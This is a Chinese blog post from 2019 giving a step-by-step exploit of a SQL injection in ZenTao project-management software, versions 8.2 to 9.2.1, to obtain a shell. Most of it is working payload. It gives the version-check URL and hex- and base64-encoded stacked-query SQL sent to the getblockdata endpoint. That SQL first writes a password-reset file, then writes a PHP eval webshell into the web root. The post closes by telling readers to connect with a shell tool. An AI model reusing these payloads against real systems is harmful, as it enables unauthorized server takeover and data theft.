禅道8.2-9.2.1注入GetShell

作者: Mingo 分类: 系统安全/服务漏洞 发布时间: 2019-03-06 10:25

· 漏洞分析

附上某老哥的漏洞分析,来了解下原理。

· 漏洞利用

查看版本:

访问Url:http://127.0.0.1/zentao/index.php?mode=getconfig即可获取禅道的版本号以及一些其他的信息,目前漏洞存在于v8.2~v9.2

确定版本号之后,我们就可以尝试GetShell利用漏洞,根据另一个老哥博客提供的攻击方法获取站点路径然后注入一句话木马,但我试了一下,获取的并不是完整的路径,而是模块路径的报错,后来换了一种思路,有兴趣的朋友可以看下哪位老哥的漏洞利用

查看密码忘记文本路径:

访问Url:http://127.0.0.1/zentao/user-reset.html

写入忘记密码的文本:

shell语句命令:

select '' into outfile /opt/zbox/app/zentao/tmp/reset_5c7e631454ae5.txt'

HEX编码:(注意加密解密都不带0x,但是EXP中需要加上)

73656c65637420272720696e746f206f757466696c65202f6f70742f7a626f782f6170702f7a656e74616f2f746d702f72657365745f356337653633313435346165352e74787427

注入文件语句:

{"orderBy":"order limit 1;SET @SQL=0x73656c65637420272720696e746f206f757466696c65202f6f70742f7a626f782f6170702f7a656e74616f2f746d702f72657365745f356337653633313435346165352e74787427;PREPARE pord FROM @SQL;EXECUTE pord;-- -","num":"1,1","type":"openedbyme"}

base64加密:

eyJvcmRlckJ5Ijoib3JkZXIgbGltaXQgMTtTRVQgQFNRTD0weDczNjU2YzY1NjM3NDIwMjcyNzIwNjk2ZTc0NmYyMDZmNzU3NDY2Njk2YzY1MjAyZjZmNzA3NDJmN2E2MjZmNzgyZjYxNzA3MDJmN2E2NTZlNzQ2MTZmMmY3NDZkNzAyZjcyNjU3MzY1NzQ1ZjM1NjMzNzY1MzYzMzMxMzQzNTM0NjE2NTM1MmU3NDc4NzQyNztQUkVQQVJFIHBvcmQgRlJPTSBAU1FMO0VYRUNVVEUgcG9yZDstLSAtIiwibnVtIjoiMSwxIiwidHlwZSI6Im9wZW5lZGJ5bWUifQ==

使用火狐的HackBar插件工具进行注入:

提交地址:
http://127.0.0.1:81/zentao/index.php?m=block&f=main&mode=getblockdata&blockid=case&param=base64

※exp需要base64加密后才能提交,且回显、写Shell须加上Referer:http://127.0.0.1/zentao/

我们通过注入刚才的文本文件后,进入后台->备份获取禅道的安装位置,这里显示的是 /opt/zbox/app/zentao/tmp/backup/201903060030545.sql.php,那么站点的目录的位置就是 /opt/zbox/app/zentao/www,然后通过上面的方式再注入一句话木马

shell语句命令:

select '<?php @eval($_POST[123456])?>' into outfile '/opt/zbox/app/zentao/www/hack.php'

HEX编码:

73656c65637420273c3f70687020406576616c28245f504f53545b3132333435365d293f3e2720696e746f206f757466696c6520272f6f70742f7a626f782f6170702f7a656e74616f2f7777772f6861636b2e70687027

注入文件语句:

{"orderBy":"order limit 1;SET @SQL=0x73656c65637420273c3f70687020406576616c28245f504f53545b3132333435365d293f3e2720696e746f206f757466696c6520272f6f70742f7a626f782f6170702f7a656e74616f2f7777772f6861636b2e70687027;PREPARE pord FROM @SQL;EXECUTE pord;-- -","num":"1,1","type":"openedbyme"}

base64加密:

eyJvcmRlckJ5Ijoib3JkZXIgbGltaXQgMTtTRVQgQFNRTD0weDczNjU2YzY1NjM3NDIwMjczYzNmNzA2ODcwMjA0MDY1NzY2MTZjMjgyNDVmNTA0ZjUzNTQ1YjMxMzIzMzM0MzUzNjVkMjkzZjNlMjcyMDY5NmU3NDZmMjA2Zjc1NzQ2NjY5NmM2NTIwMjcyZjZmNzA3NDJmN2E2MjZmNzgyZjYxNzA3MDJmN2E2NTZlNzQ2MTZmMmY3Nzc3NzcyZjY4NjE2MzZiMmU3MDY4NzAyNztQUkVQQVJFIHBvcmQgRlJPTSBAU1FMO0VYRUNVVEUgcG9yZDstLSAtIiwibnVtIjoiMSwxIiwidHlwZSI6Im9wZW5lZGJ5bWUifQ==

注入之后我们就可以通过GetShell工具进行服务器的控制连接

世界如此美好,不如赏我几块钱~